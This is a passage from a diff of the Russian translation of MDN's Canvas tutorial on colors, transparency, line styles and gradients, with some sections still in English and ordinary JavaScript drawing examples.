+<p>В этом примере мы опять воспользуемся двойным циклом, чтобы нарисовать сетку из прямоугольников, каждый из которых имеет свой цвет. Окончательное изображение должно иметь вид, как показано на скриншоте. Здесь не происходит ничего сверхъестественного. Мы используем две переменные <code>i</code> и <code>j</code> для генерации уникального RGB цвета для каждого квадрата и изменяем только красные и зеленые значения. Синий канал представляет собой фиксированное значение. Путем изменения каналов вы можете генерировать всю палитру. Увеличив количество шагов вы можете достигнуть такого вида палитры, какая используется в Photoshop.</p>
+
+<pre class="brush: js;highlight[5,6] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i=0;i&lt;6;i++){
+    for (var j=0;j&lt;6;j++){
+      ctx.fillStyle = 'rgb(' + Math.floor(255-42.5*i) + ',' +
+                       Math.floor(255-42.5*j) + ',0)';
+      ctx.fillRect(j*25,i*25,25,25);
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>Результат выглядит так:</p>
+
+<p>{{EmbedLiveSample("Пример_fillStyle", 160, 160, "https://mdn.mozillademos.org/files/5417/Canvas_fillstyle.png")}}</p>
+
+<h3 id="Пример_strokeStyle">Пример <code>strokeStyle</code></h3>
+
+<p>Этот пример похож на предыдущий, но мы используем свойство <code>strokeStyle</code> чтобы изменить цвета очертаний фигур. Так же мы используем метод <code>arc()</code> для рисования окружностей вместо квадратов.</p>
+
+<pre class="brush: js;highlight[5,6] notranslate">  function draw() {
+    var ctx = document.getElementById('canvas').getContext('2d');
+    for (var i=0;i&lt;6;i++){
+      for (var j=0;j&lt;6;j++){
+        ctx.strokeStyle = 'rgb(0,' + Math.floor(255-42.5*i) + ',' +
+                         Math.floor(255-42.5*j) + ')';
+        ctx.beginPath();
+        ctx.arc(12.5+j*25,12.5+i*25,10,0,Math.PI*2,true);
+        ctx.stroke();
+      }
+    }
+  }
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>Результат выглядит так:</p>
+
+<p>{{EmbedLiveSample("Пример_strokeStyle", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}</p>
+
+<h2 id="Transparency" name="Transparency">Прозрачность</h2>
+
+<p>В дополнении к рисованию непрозрачных фигур, мы также можем рисовать прозрачные (полупрозрачные) фигуры.  Это делается через установку свойства <code>globalAlpha</code> или задачи полупрозрачного цвета фона или контура.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha = transparencyValue")}}</dt>
+ <dd>Для применения, указывается значения прозрачности для всех будущих фигур, что будут нарисованы на canvas. Значение полупрозрачности могут быть между 0.0 (полная прозрачность) и 1.0 (полная непрозрачность). Значение 1.0 (полная непрозрачность) установлено по умолчанию.</dd>
+</dl>
+
+<p>Свойство <code>globalAlpha</code> может быть использовано, если вы хотите рисовать формы с одинаковой прозрачностью, но в иной ситуации, обычно устанавливают прозрачность индивидуально к каждой форме, когда указывают их цвет.</p>
+
+<p>Так как свойства <code>strokeStyle</code> и <code>fillStyle</code> принимают цветовые значения rgba через CSS, мы можем использовать следующее обозначение  для назначения прозрачных цветов.</p>
+
+<pre class="brush: js notranslate">// Assigning transparent colors to stroke and fill style
+
+ctx.strokeStyle = "rgba(255,0,0,0.5)";
+ctx.fillStyle = "rgba(255,0,0,0.5)";
+</pre>
+
+<p>Функция <code>rgba()</code> похожа на функцию <code>rgb()</code>, но имеет один дополнительный параметр. Последний параметр устанавливает значение прозрачности для конкретного цвета. Действующий диапозон значений находится между 0.0 (полная прозрачность) и 1.0 (полная непрозрачность).</p>
+
+<h3 id="Пример_globalAlpha">Пример <code>globalAlpha</code></h3>
+
+<p>В данном примере мы нарисуем фон и четыре квадрата с различными цветами.  Сверху изображения будет выведен набор полупрозрачных кругов. Установим свойство <code>globalAlpha</code> значением 0.2, которое будет использовано для всех последующих форм. Каждый шаг цикла рисует круг с большим радиусом. По окончанию получим радиальный градиент. Накладывая еще больше кругов друг на друга, мы фактически сможем уменьшить прозрачность ранее нарисованных кругов. Увеличив счетчик итераций, при этом рисуя еще круги, мы сможем добиться исчезновение центра изображения.</p>
+
+<pre class="brush: js;highlight[15] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  // фон изображения
+  ctx.fillStyle = '#FD0';
+  ctx.fillRect(0,0,75,75);
+  ctx.fillStyle = '#6C0';
+  ctx.fillRect(75,0,75,75);
+  ctx.fillStyle = '#09F';
+  ctx.fillRect(0,75,75,75);
+  ctx.fillStyle = '#F30';
+  ctx.fillRect(75,75,75,75);
+  ctx.fillStyle = '#FFF';
+
+  // устанавливаем значение прозрачности
+  ctx.globalAlpha = 0.2;
+
+  // Рисуем полупрозрачные круги
+  for (i=0;i&lt;7;i++){
+    ctx.beginPath();
+    ctx.arc(75,75,10+10*i,0,Math.PI*2,true);
+    ctx.fill();
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Пример_globalAlpha", "180", "180", "https://mdn.mozillademos.org/files/232/Canvas_globalalpha.png")}}</p>
+
+<h3 id="Пример_использования_rgba">Пример использования <code>rgba()</code></h3>
+
+<p>В этом втором примере мы делаем что-то похожее на предыдущее, но вместо рисования кругов друг над другом, я рисовал маленькие прямоугольники с увеличением непрозрачности. Использование <code>rgba()</code> добавляет контроля и гибкости, поскольку мы можем индивидуально настраивать стиль заливки и штриха.</p>
+
+<pre class="brush: js;highlight[16] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Нарисовать фон
+  ctx.fillStyle = 'rgb(255,221,0)';
+  ctx.fillRect(0,0,150,37.5);
+  ctx.fillStyle = 'rgb(102,204,0)';
+  ctx.fillRect(0,37.5,150,37.5);
+  ctx.fillStyle = 'rgb(0,153,255)';
+  ctx.fillRect(0,75,150,37.5);
+  ctx.fillStyle = 'rgb(255,51,0)';
+  ctx.fillRect(0,112.5,150,37.5);
+
+  // Нарисовать полупрозрачные прямоугольники
+  for (var i=0;i&lt;10;i++){
+    ctx.fillStyle = 'rgba(255,255,255,'+(i+1)/10+')';
+    for (var j=0;j&lt;4;j++){
+      ctx.fillRect(5+i*14,5+j*37.5,14,27.5);
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Пример_использования_rgba()", "180", "180", "https://mdn.mozillademos.org/files/246/Canvas_rgba.png")}}</p>
+
+<h2 id="Line_styles" name="Line_styles">Стили линий</h2>
+
+<p>Есть несколько свойств, которые позволяют нам стилизовать линии.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth = value")}}</dt>
+ <dd>Устанавливает ширину линий, рисуемых в будущем.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineCap", "lineCap = type")}}</dt>
+ <dd>Устанавливает внешний вид концов линий.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin = type")}}</dt>
+ <dd>Устанавливает внешний вид «углов», где встречаются линии.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit = value")}}</dt>
+ <dd>Устанавливает ограничение на митру, когда две линии соединяются под острым углом, чтобы вы могли контролировать её толщину.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.getLineDash", "getLineDash()")}}</dt>
+ <dd>Возвращает текущий массив тире штриховки, содержащий четное число неотрицательных чисел.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setLineDash", "setLineDash(segments)")}}</dt>
+ <dd>Устанавливает текущий пунктир линии.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset = value")}}</dt>
+ <dd>Указывает, где следует начинать тире массива в строке.</dd>
+</dl>
+
+<p>Вы лучше поймете, что они делают, глядя на приведенные ниже примеры.</p>
+
+<h3 id="Пример_lineWidth">Пример <code>lineWidth</code></h3>
+
+<p>Это свойство задает толщину текущей строки. Значения должны быть положительными. По умолчанию для этого значения установлено 1.0 единицы.</p>
+
+<p>Ширина линии - это толщина хода, центрированного по данному пути. Другими словами, область, которая нарисована, простирается до половины ширины линии по обе стороны пути. Поскольку координаты холста не напрямую ссылаются на пиксели, особое внимание следует уделять получению четких горизонтальных и вертикальных линий.</p>
+
+<p>В приведенном ниже примере 10 прямых линий рисуются с увеличением ширины линий. Линия в крайнем левом углу - 1.0 единицы. Тем не менее, толщина левой и всех других линий нечетной ширины не выглядят четкими из-за позиционирования пути.</p>
+
+<pre class="brush: js;highlight[4] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 10; i++){
+    ctx.lineWidth = 1+i;
+    ctx.beginPath();
+    ctx.moveTo(5+i*14,5);
+    ctx.lineTo(5+i*14,140);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Пример_lineWidth", "180", "180", "https://mdn.mozillademos.org/files/239/Canvas_linewidth.png")}}</p>
+
+<p>Получение четких строк требует понимания путей сглаживания. На рисунках ниже представлена сетка координат холста. Квадраты между сетками являются фактическими экранными пикселями. В первом изображении сетки ниже прямоугольник от (2, 1) до (5, 5) заполняется. Вся область между ними (светло-красный) падает на границы пикселей, поэтому полученный заполненный прямоугольник будет иметь четкие края.</p>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/201/Canvas-grid.png"></p>
+
+<p>Если вы рассмотрите путь от (3, 1) до (3, 5) с толщиной строки <code>1.0</code>, вы получите ситуацию во втором изображении. Фактическая заполняемая область, (синяя), распространяется только наполовину в пикселях по обе стороны пути. Приблизительно это означает, что частично затенённые пиксели приводят к заполнению всей области (светло-голубой и синей) цветом, только наполовину темным, чем фактический цвет штриха. Это то, что происходит с линией шириной <code>1.0</code> в предыдущем примере кода.</p>
+
+<p>Чтобы исправить это, вы должны быть более точными при создании пути. Зная, что линия шириной <code>1.0</code> занимает половину единицы по обе стороны пути, создание пути от (3.5, 1) до (3.5, 5) приведёт к ситуации в третьем изображении - ширина линии <code>1.0</code> закончится верно, точно заполняя вертикальную линию с одним пикселем.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Имейте в виду, что в нашем примере с вертикальной линией позиция Y по-прежнему ссылается на целочисленную позицию сетки - иначе мы увидели бы пиксели с половинным охватом в конечных точках (также обратите внимание, что это поведение зависит от текущего стиля <code>lineCap</code>,  значение по умолчанию - <code>butt</code>; вы можете вычислить согласованные штрихи с полупиксельными координатами для линий с нечетной шириной, установив стиль <code>lineCap</code> в <code>square</code>, чтобы внешняя граница вокруг конечной точки линии автоматически расширялась, охватывая весь пиксель в точку).</p>
+
+<p>Также обратите внимание, что затронуты только начальные и конечные  точки пути: если путь закрыт с помощью <code>closePath()</code>, - нет начальной и конечной точки; вместо этого все конечные точки в пути подключены к их прикрепленному предыдущему и следующему сегментам и при текущей настройке стиля <code>lineJoin</code> в значении по умолчанию - <code>miter</code>, с эффектом автоматического расширения внешних границ подключенных сегментов до их точки пересечения - обработанный ход будет точно покрывать полные пиксели с центром в каждой конечной точке, если эти связанные сегменты горизонтальны и/или вертикальны). См. следующие два раздела, демонстрирующие эти дополнительные стили.</p>
+</div>
+
+<p>Для линий с четной шириной каждая половина заканчивается как целое количество пикселей, поэтому вам нужен путь, который находится между пикселями (то есть (3,1) - (3,5)), вместо середины пикселей.</p>
+
+<p>Хотя это и необычно, когда изначально работаешь с масштабируемой 2D-графикой, обращая внимание на сетку пикселей и положение путей, но вы убедитесь, что ваши рисунки будут выглядеть правильно, независимо от масштабирования или любых других преобразований. Вертикальная линия ширины 1,0, построенная таким образом, станет четкой 2-пиксельной линией при увеличении на 2 и появится в правильном положении.</p>
+
+<h3 id="Пример_lineCap">Пример <code>lineCap</code></h3>
+
+<p>Свойство <code>lineCap</code> определяет, как выводятся конечные точки каждой строки. Для этого свойства есть три возможных значения: <code>butt</code>, <code>round</code> и <code>square</code>. По умолчанию для этого свойства установлено значение <code>butt</code>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/236/Canvas_linecap.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>butt</code></dt>
+ <dd>Концы линий соответствуют крайним точкам.</dd>
+ <dt><code>round</code></dt>
+ <dd>Концы линий округлены.</dd>
+ <dt><code>square</code></dt>
+ <dd>Концы линий описаны квадратом с равной шириной и половиной высоты толщины линии.</dd>
+</dl>
+
+<p>В этом примере мы проведем три строки, каждая из которых имеет другое значение для свойства <code>lineCap</code>. Я также добавил два руководства, чтобы увидеть точные различия между ними. Каждая из этих линий начинается и заканчивается именно на этих направляющих.</p>
+
+<p>Строка слева использует <code>butt</code> опцию по умолчанию. Вы заметите, что она полностью очищена от направляющих. Второй вариант -  <code>round</code> опция. Это добавляет полукруг к концу, который имеет радиус, равный половине ширины линии. Строка справа использует <code>square</code> опцию. Это добавляет поле с равной шириной и половиной высоты толщины линии.</p>
+
+<pre class="brush: js;highlight[18] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineCap = ['butt','round','square'];
+
+  // Draw guides
+  ctx.strokeStyle = '#09f';
+  ctx.beginPath();
+  ctx.moveTo(10,10);
+  ctx.lineTo(140,10);
+  ctx.moveTo(10,140);
+  ctx.lineTo(140,140);
+  ctx.stroke();
+
+  // Draw lines
+  ctx.strokeStyle = 'black';
+  for (var i=0;i&lt;lineCap.length;i++){
+    ctx.lineWidth = 15;
+    ctx.lineCap = lineCap[i];
+    ctx.beginPath();
+    ctx.moveTo(25+i*50,10);
+    ctx.lineTo(25+i*50,140);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Пример_lineCap", "180", "180", "https://mdn.mozillademos.org/files/236/Canvas_linecap.png")}}</p>
+
+<h3 id="Пример_lineJoin">Пример <code>lineJoin</code></h3>
+
+<p>Свойство <code>lineJoin</code> определяет, как соединяются два сегмента (линий, дуг или кривых) с ненулевой длиной в форме (вырожденные сегменты с нулевой длиной, заданные конечные точки и контрольные точки находятся точно в том же положении - пропущены).</p>
+
+<p>Для этого свойства есть три возможных значения: <code>round</code>, <code>bevel</code> и <code>miter</code>. По умолчанию для этого свойства установлено значение <code>miter</code>. Обратите внимание, что настройка <code>lineJoin</code> не действует, если два связанных сегмента имеют одно и то же направление, потому что в этом случае не будет добавлена ​​область соединения.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/237/Canvas_linejoin.png" style="float: right; height: 190px; width: 190px;"></p>
+
+<dl>
+ <dt><code>round</code></dt>
+ <dd>Радиус заполняемой части для скругленных углов равен половине ширины линии. центр этого радиуса совпадает с концами подключенных сегментов.</dd>
+ <dt><code>bevel</code></dt>
+ <dd>Заполняет дополнительную треугольную область между общей конечной точкой подключенных сегментов и отдельными внешними прямоугольными углами каждого сегмента. </dd>
+ <dt><code>miter</code></dt>
+ <dd>Подключенные сегменты соединяются путем расширения их внешних краев для соединения в одной точке с эффектом заполнения дополнительной области в форме пастилки. Эта настройка выполняется с помощью свойства <code>miterLimit</code>, которое объясняется ниже.</dd>
+</dl>
+
+<p>В приведенном ниже примере показаны три разных пути, демонстрирующие каждый из этих трех свойств <code>lineJoin</code>; результат - выше. </p>
+
+<pre class="brush: js;highlight[6] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var lineJoin = ['round','bevel','miter'];
+  ctx.lineWidth = 10;
+  for (var i=0;i&lt;lineJoin.length;i++){
+    ctx.lineJoin = lineJoin[i];
+    ctx.beginPath();
+    ctx.moveTo(-5,5+i*40);
+    ctx.lineTo(35,45+i*40);
+    ctx.lineTo(75,5+i*40);
+    ctx.lineTo(115,45+i*40);
+    ctx.lineTo(155,5+i*40);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Пример_lineJoin", "180", "180", "https://mdn.mozillademos.org/files/237/Canvas_linejoin.png")}}</p>
+
+<h3 id="Демонстрация_свойства_miterLimit">Демонстрация свойства <code>miterLimit</code></h3>
+
+<p>Как вы видели в предыдущем примере, при объединении двух строк с опцией <code>miter</code> внешние края двух соединительных линий расширены до точки, где они встречаются. Для линий, которые находятся под большими углами друг с другом, эта точка находится недалеко от внутренней точки соединения. Однако, поскольку углы между каждой линией уменьшаются, расстояние (длина меча) между этими точками увеличивается экспоненциально.</p>
+
+<p>Свойство <code>miterLimit</code> определяет, как далеко можно установить внешнюю точку соединения из внутренней точки подключения. Если две линии превышают это значение, вместо этого получается привязка конуса. Обратите внимание, что максимальная длина митра является произведением ширины линии, измеренной в текущей системе координат, значением этого свойства <code>miterLimit</code> (значение по умолчанию 10,0 в HTML {{HTMLElement("canvas")}}), поэтому <code>miterLimit</code> может устанавливаться независимо от текущей шкалы дисплея или любых аффинных преобразований путей: она влияет только на эффективно визуализированную форму ребер линии.</p>
+
+<p>Точнее, предел митры является максимально допустимым отношением длины расширения (в холсте HTML он измеряется между внешним углом соединенных краев линии и общей конечной точкой соединительных сегментов, указанными на пути), до половины ширины линии. Его можно равнозначно определить как максимально допустимое отношение расстояния между внутренней и внешней точками перехода краев к общей ширине линии. Затем он равен косекансу с половиной минимального внутреннего угла соединительных сегментов, ниже которого не будет создано ни одного соединения митра, а только скос соединяется:</p>
+
+<ul>
+ <li><code>miterLimit</code> = <strong>max</strong> <code>miterLength</code> / <code>lineWidth</code> = 1 / <strong>sin</strong> ( <strong>min</strong> <em>θ</em> / 2 )</li>
+ <li>Предел митры по умолчанию, равный 10,0, разделит все митры углов, острее примерно 11 градусов.</li>
+ <li>Предел митры, равный √2 ≈ 1.4142136 (rounded up) сгладит миты для всех острых углов, поддерживая митры только для тупых или прямых углов.</li>
+ <li>Предел митры, равный 1,0, действителен, но отключит все миты.</li>
+ <li>Значения ниже 1.0 являются недопустимыми для предела митры.</li>
+</ul>
+
+<p>Вот небольшая демонстрация, в которой вы можете динамически установить <code>miterLimit</code> и посмотреть, как это влияет на фигуры на холсте. Синие линии показывают, где начальная и конечная точки для каждой из линий в шаблоне зигзага.</p>
+
+<p>Если вы укажете в этой демонстрации значение <code>miterLimit</code> ниже 4.2, ни один из видимых углов не присоединится к расширению митры, но только с небольшим скосом рядом с синими линиями; с отметкой <code>miterLimit</code> выше 10, большинство углов в этой демонстрации должны соединяться с митрой, удаленной от синих линий, высота которой уменьшается между углами слева направо, потому что они соединяются с растущими углами; с промежуточными значениями углы с левой стороны будут соединяться только с скосом рядом с синими линиями, а углы с правой стороны с удлинителем митры (также с уменьшающейся высотой).</p>
+
+<pre class="brush: js;highlight[18] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Clear canvas
+  ctx.clearRect(0,0,150,150);
+
+  // Draw guides
+  ctx.strokeStyle = '#09f';
+  ctx.lineWidth   = 2;
+  ctx.strokeRect(-5,50,160,50);
+
+  // Set line styles
+  ctx.strokeStyle = '#000';
+  ctx.lineWidth = 10;
+
+  // check input
+  if (document.getElementById('miterLimit').value.match(/\d+(\.\d+)?/)) {
+    ctx.miterLimit = parseFloat(document.getElementById('miterLimit').value);
+  } else {
+    alert('Value must be a positive number');
+  }
+
+  // Draw lines
+  ctx.beginPath();
+  ctx.moveTo(0,100);
+  for (i=0;i&lt;24;i++){
+    var dy = i%2==0 ? 25 : -25 ;
+    ctx.lineTo(Math.pow(i,1.5)*2,75+dy);
+  }
+  ctx.stroke();
+  return false;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;table&gt;
+  &lt;tr&gt;
+    &lt;td&gt;&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;&lt;/td&gt;
+    &lt;td&gt;Change the &lt;code&gt;miterLimit&lt;/code&gt; by entering a new value below and clicking the redraw button.&lt;br&gt;&lt;br&gt;
+      &lt;form onsubmit="return draw();"&gt;
+        &lt;label&gt;Miter limit&lt;/label&gt;
+        &lt;input type="text" size="3" id="miterLimit"/&gt;
+        &lt;input type="submit" value="Redraw"/&gt;
+      &lt;/form&gt;
+    &lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<pre class="brush: js notranslate">document.getElementById('miterLimit').value = document.getElementById('canvas').getContext('2d').miterLimit;
+draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Демонстрация_свойства_miterLimit", "400", "180", "https://mdn.mozillademos.org/files/240/Canvas_miterlimit.png")}}</p>
+
+<h3 id="Использование_штрихов">Использование штрихов</h3>
+
+<p>Метод setLineDash и свойство lineDashOffset задают шаблон штрихов для линий. Метод setLineDash принимает список чисел, который определяет расстояния для попеременного рисования линии и разрыва, а свойство lineDashOffset устанавливает смещение, с которого начинается шаблон.</p>
+
+<p>В этом примере мы создаем эффект походных муравьев. Это техника анимации, часто встречающаяся в инструментах выбора программ компьютерной графики. Это помогает пользователю отличить границу выделения от фона изображения, анимируя границу. В следующей части этого руководства вы узнаете, как сделать эту и другие основные анимации.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="110" height="110"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js;highlight[6] notranslate">var ctx = document.getElementById('canvas').getContext('2d');
+var offset = 0;
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ctx.setLineDash([4, 2]);
+  ctx.lineDashOffset = -offset;
+  ctx.strokeRect(10,10, 100, 100);
+}
+
+function march() {
+  offset++;
+  if (offset &gt; 16) {
+    offset = 0;
+  }
+  draw();
+  setTimeout(march, 20);
+}
+
+march();</pre>
+
+<p>{{EmbedLiveSample("Используемый штрих", "120", "120", "https://mdn.mozillademos.org/files/9853/marching-ants.png")}}</p>
+
+<h2 id="Градиенты">Градиенты</h2>
+
+<p>Just like any normal drawing program, we can fill and stroke shapes using linear and radial gradients. We create a {{domxref("CanvasGradient")}} object by using one of the following methods. We can then assign this object to the <code>fillStyle</code> or <code>strokeStyle</code> properties.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createLinearGradient", "createLinearGradient(x1, y1, x2, y2)")}}</dt>
+ <dd>Creates a linear gradient object with a starting point of (<code>x1</code>, <code>y1</code>) and an end point of (<code>x2</code>, <code>y2</code>).</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.createRadialGradient", "createRadialGradient(x1, y1, r1, x2, y2, r2)")}}</dt>
+ <dd>Creates a radial gradient. The parameters represent two circles, one with its center at (<code>x1</code>, <code>y1</code>) and a radius of <code>r1</code>, and the other with its center at (<code>x2</code>, <code>y2</code>) with a radius of <code>r2</code>.</dd>
+</dl>
+
+<p>For example:</p>
+
+<pre class="brush: js notranslate">var lineargradient = ctx.createLinearGradient(0, 0, 150, 150);
+var radialgradient = ctx.createRadialGradient(75, 75, 0, 75, 75, 100);
+</pre>
+
+<p>Once we've created a <code>CanvasGradient</code> object we can assign colors to it by using the <code>addColorStop()</code> method.</p>
+
+<dl>
+ <dt>{{domxref("CanvasGradient.addColorStop", "gradient.addColorStop(position, color)")}}</dt>
+ <dd>Creates a new color stop on the <code>gradient</code> object. The <code>position</code> is a number between 0.0 and 1.0 and defines the relative position of the color in the gradient, and the <code>color</code> argument must be a string representing a CSS {{cssxref("&lt;color&gt;")}}, indicating the color the gradient should reach at that offset into the transition.</dd>
+</dl>
+
+<p>You can add as many color stops to a gradient as you need. Below is a very simple linear gradient from white to black.</p>
+
+<pre class="brush: js notranslate">var lineargradient = ctx.createLinearGradient(0,0,150,150);
+lineargradient.addColorStop(0, 'white');
+lineargradient.addColorStop(1, 'black');
+</pre>
+
+<h3 id="Пример_createLinearGradient">Пример <code>createLinearGradient</code></h3>
+
+<p>In this example, we'll create two different gradients. As you can see here, both the <code>strokeStyle</code> and <code>fillStyle</code> properties can accept a <code>canvasGradient</code> object as valid input.</p>
+
+<pre class="brush: js;highlight[5,11] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Create gradients
+  var lingrad = ctx.createLinearGradient(0,0,0,150);
+  lingrad.addColorStop(0, '#00ABEB');
+  lingrad.addColorStop(0.5, '#fff');
+  lingrad.addColorStop(0.5, '#26C000');
+  lingrad.addColorStop(1, '#fff');
+
+  var lingrad2 = ctx.createLinearGradient(0,50,0,95);
+  lingrad2.addColorStop(0.5, '#000');
+  lingrad2.addColorStop(1, 'rgba(0,0,0,0)');
+
+  // assign gradients to fill and stroke styles
+  ctx.fillStyle = lingrad;
+  ctx.strokeStyle = lingrad2;
+
+  // draw shapes
+  ctx.fillRect(10,10,130,130);
+  ctx.strokeRect(50,50,50,50);
+
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>The first is a background gradient. As you can see, we assigned two colors at the same position. You do this to make very sharp color transitions—in this case from white to green. Normally, it doesn't matter in what order you define the color stops, but in this special case, it does significantly. If you keep the assignments in the order you want them to appear, this won't be a problem.</p>
+
+<p>In the second gradient, we didn't assign the starting color (at position 0.0) since it wasn't strictly necessary, because it will automatically assume the color of the next color stop. Therefore, assigning the black color at position 0.5 automatically makes the gradient, from the start to this stop, black.</p>
+
+<p>{{EmbedLiveSample("Пример_createLinearGradient", "180", "180", "https://mdn.mozillademos.org/files/235/Canvas_lineargradient.png")}}</p>
+
+<h3 id="Пример_createRadialGradient">Пример <code>createRadialGradient</code></h3>
+
+<p>In this example, we'll define four different radial gradients. Because we have control over the start and closing points of the gradient, we can achieve more complex effects than we would normally have in the "classic" radial gradients we see in, for instance, Photoshop (that is, a gradient with a single center point where the gradient expands outward in a circular shape).</p>
+
+<pre class="brush: js;highlight[5,10,15,20] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // Create gradients
+  var radgrad = ctx.createRadialGradient(45,45,10,52,50,30);
+  radgrad.addColorStop(0, '#A7D30C');
+  radgrad.addColorStop(0.9, '#019F62');
+  radgrad.addColorStop(1, 'rgba(1,159,98,0)');
+
+  var radgrad2 = ctx.createRadialGradient(105,105,20,112,120,50);
+  radgrad2.addColorStop(0, '#FF5F98');
+  radgrad2.addColorStop(0.75, '#FF0188');
+  radgrad2.addColorStop(1, 'rgba(255,1,136,0)');
+
+  var radgrad3 = ctx.createRadialGradient(95,15,15,102,20,40);
+  radgrad3.addColorStop(0, '#00C9FF');
+  radgrad3.addColorStop(0.8, '#00B5E2');
+  radgrad3.addColorStop(1, 'rgba(0,201,255,0)');
+
+  var radgrad4 = ctx.createRadialGradient(0,150,50,0,140,90);
+  radgrad4.addColorStop(0, '#F4F201');
+  radgrad4.addColorStop(0.8, '#E4C700');
+  radgrad4.addColorStop(1, 'rgba(228,199,0,0)');
+
+  // draw shapes
+  ctx.fillStyle = radgrad4;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad3;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad2;
+  ctx.fillRect(0,0,150,150);
+  ctx.fillStyle = radgrad;
+  ctx.fillRect(0,0,150,150);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>In this case, we've offset the starting point slightly from the end point to achieve a spherical 3D effect. It's best to try to avoid letting the inside and outside circles overlap because this results in strange effects which are hard to predict.</p>
+
+<p>The last color stop in each of the four gradients uses a fully transparent color. If you want to have a nice transition from this to the previous color stop, both colors should be equal. This isn't very obvious from the code because it uses two different CSS color methods as a demonstration, but in the first gradient <code>#019F62 = rgba(1,159,98,1)</code>.</p>
+
+<p>{{EmbedLiveSample("Пример_createRadialGradient", "180", "180", "https://mdn.mozillademos.org/files/244/Canvas_radialgradient.png")}}</p>
+
+<h2 id="Шаблоны">Шаблоны</h2>
+
+<p>В одном из предыдущих примеров мы использовали несколько циклов, чтобы создать шаблон из повторяющихся изображений. Однако, есть более простой способ сделать подобное - метод <code>createPattern()</code>.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}</dt>
+ <dd>Создает и возвращает новый canvas объект - шаблон (pattern). <code>image</code> - {{domxref("CanvasImageSource")}} (то есть {{domxref ("HTMLImageElement")}}, другой холст, элемент {{HTMLElement ("video")}} или подобный  объект. <code>type</code> - строка, указывающая, как использовать <code>image</code>.</dd>
+</dl>
+
+<p>Тип указывает, как использовать image для создания шаблона и должен быть одним из следующих значений:</p>
+
+<dl>
